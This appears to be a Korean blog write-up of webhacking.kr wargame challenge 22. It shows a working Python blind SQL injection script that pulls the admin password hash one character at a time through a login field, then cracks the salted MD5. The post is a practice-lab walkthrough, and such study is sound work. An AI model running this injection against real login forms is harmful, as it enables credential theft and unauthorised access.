본문 바로가기
Wargame/webhacking.kr

webhacking.kr 22번

by morae23 2019. 1. 29.

22번 문제를 보면 아래와 같은 화면을 볼 수 있다.

 




 

 

힌트를 보면 id가 admin이어야 패스워드를 출력하기 때문에

username에 admin을 입력한 결과, Wrong!을 출력하는 것을 볼 수 있다.

admin이라는 문자열을 직접 입력할 수 없는 것으로 보이므로 다른 방법으로 id에 admin을 넣어야 한다.

 

먼저 동작과정을 보기 위해 test로 로그인을 하였다.

 

 



 

 

그 결과, hi! test라는 메시지와 함께

user key라는 이름으로 32바이트의 데이터가 출력된 것을 볼 수 있다.

password로 입력한 1234의 크기와 다르며, 32바이트인 것을 보면, md5가 적용된 것이라고 추측할 수 있다.

 

 



 

 

따라서 online md5 decrypter를 이용하면 위와 같이 1234zombie라는 문자열을 볼 수 있다. 즉, 입력한 패스워드에 zombie를 더한 뒤 hash한 값을 출력한 것이다.

 

즉, admin으로 로그인 하여 얻은 값에서 원본 string을 얻은 뒤, zombie라는 문자열을 제외하면 원래 패스워드를 알 수 있다.

 

 



 

 

실제 admin의 패스워드를 얻기 위해 먼저 username 필드를 이용하여 true를 반환하도록 입력하니 Wrong password!라는 문자열을 출력한다.

 

 



 

 

참인 경우, 해당 문자열을 반환하는 것으로 추정되어

거짓을 반환할 값을 입력하였다.

 

 



 

 

그 결과 Wrong!을 출력하는 것을 볼 수 있다.

 

 



 

 

따라서 입력 값이 참인 경우 Wrong password!를, 거짓인 경우 Wrong!을 출력한다는 것을 알게 되었다.

이 값을 이용하여 먼저 pw의 길이를 알 수 있고, 각 바이트에 해당하는 문자 또한 추출할 수 있다.

 

 



 

 

먼저, 길이를 알기 위해 length()를 이용했는데 위에서 test를 입력한 결과 md5의 적용으로 길이가 32바이트였던 것을 이용해 32로 입력하였다.

 

 



 

 

참을 뜻하는 Wrong password!가 출력된 것을 보면 admin의 패스워드 역시 32바이트임을 알 수 있다.

 

 

따라서 총 32바이트에 대해 알파벳 소문자와 숫자를 이용하여 한 바이트씩 알아내었다. 이 때, 결과가 hash 값일 것이라고 예상하였기 때문에 속도 향상을 위해 알파벳과 숫자만을 이용하였다. Python을 이용해 수행한 결과는 아래와 같다.

 

 



 

 

이 해쉬값의 원본 string은 rainbowzombie이다.

 

 



 

 

따라서 zombie를 제외한 rainbow로 로그인하면 clear할 수 있다.

 

 



 

 



 

 

python 코드는 아래와 같다.

 

import requests, json, string

 

URL = "http://webhacking.kr/challenge/bonus/bonus-2/index.php"

cookies = {'PHPSESSID': [YOUR_SESSID]}

answer = ""

length = 32

         

for i in range(1, length+1):

          for j in string.ascii_lowercase + "0123456789 ":

 

                    data = {'uuid': "admin' and ascii(substr(pw," + str(i) + ",1))=" + str(ord(j)) + " -- "}

                    res = requests.post(URL, data, cookies=cookies)

 

                    if "Wrong password!" in res.text:

                              answer += j

                              print answer

                              break

 

          if j == " ":

                    print "fail"

                    break

 

print "pw: " + answer

 

 



'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 11번  (0) 2019.01.29
webhacking.kr 34번  (0) 2019.01.29
webhacking.kr 5번  (0) 2019.01.29
webhacking.kr 46번  (0) 2019.01.29
webhacking.kr 21번  (0) 2019.01.29

댓글